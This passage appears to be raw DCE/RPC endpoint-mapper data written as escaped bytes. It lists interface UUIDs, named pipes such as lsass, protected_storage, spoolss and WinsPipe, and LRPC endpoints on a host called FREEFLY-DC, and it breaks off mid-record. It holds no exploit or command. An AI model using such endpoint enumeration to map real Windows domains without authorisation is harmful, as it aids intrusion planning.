\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x06\x01\x00\t\x04\x00\x00\x00\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\ra&EJ\x90\x826K\x8f\xbe\x7f@\x93\xa9Ix\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00H\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x9b\x063\xae\xa8\xa2\xeeF\xa25\xdd\xfd3\x9b\xe2\x81\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00H\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xfa\xdbn\x0b$J\xc6O\x8a#\x94+\x1e\xcae\xd1\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00spoolss\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xa4\xc2\xabPMW\xb3@\x9df\xeeO\xd5\xfb\xa0v\x05\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x15\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\WinsPipe\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-1d5ca5ac42312a0056\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0,\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xbf\t\x11\x81\xe1\xa4\xd1\x11\xabT\x00\xa0\xc9\x1e\x9bE\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE261F2C99BFF143DE95CFD25D6F1B\x00a\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\WinsPipe\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-1d5ca5ac42312a0056\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0,\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r(,\xf5E\x9f\x7f\x1a\x10\xb5+\x08\x00+.\xfa\xbe\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE261F2C99BFF143DE95CFD25D6F1B\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x81\xbbz6D\x98\xf15\xad2\x98\xf08\x00\x10\x03\x02\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0K\x01\x00\t\x04\x00\x00\x00\x00\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-47015c651701b6fefd\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0L\x01\x00\t\x04\x00\x00\x0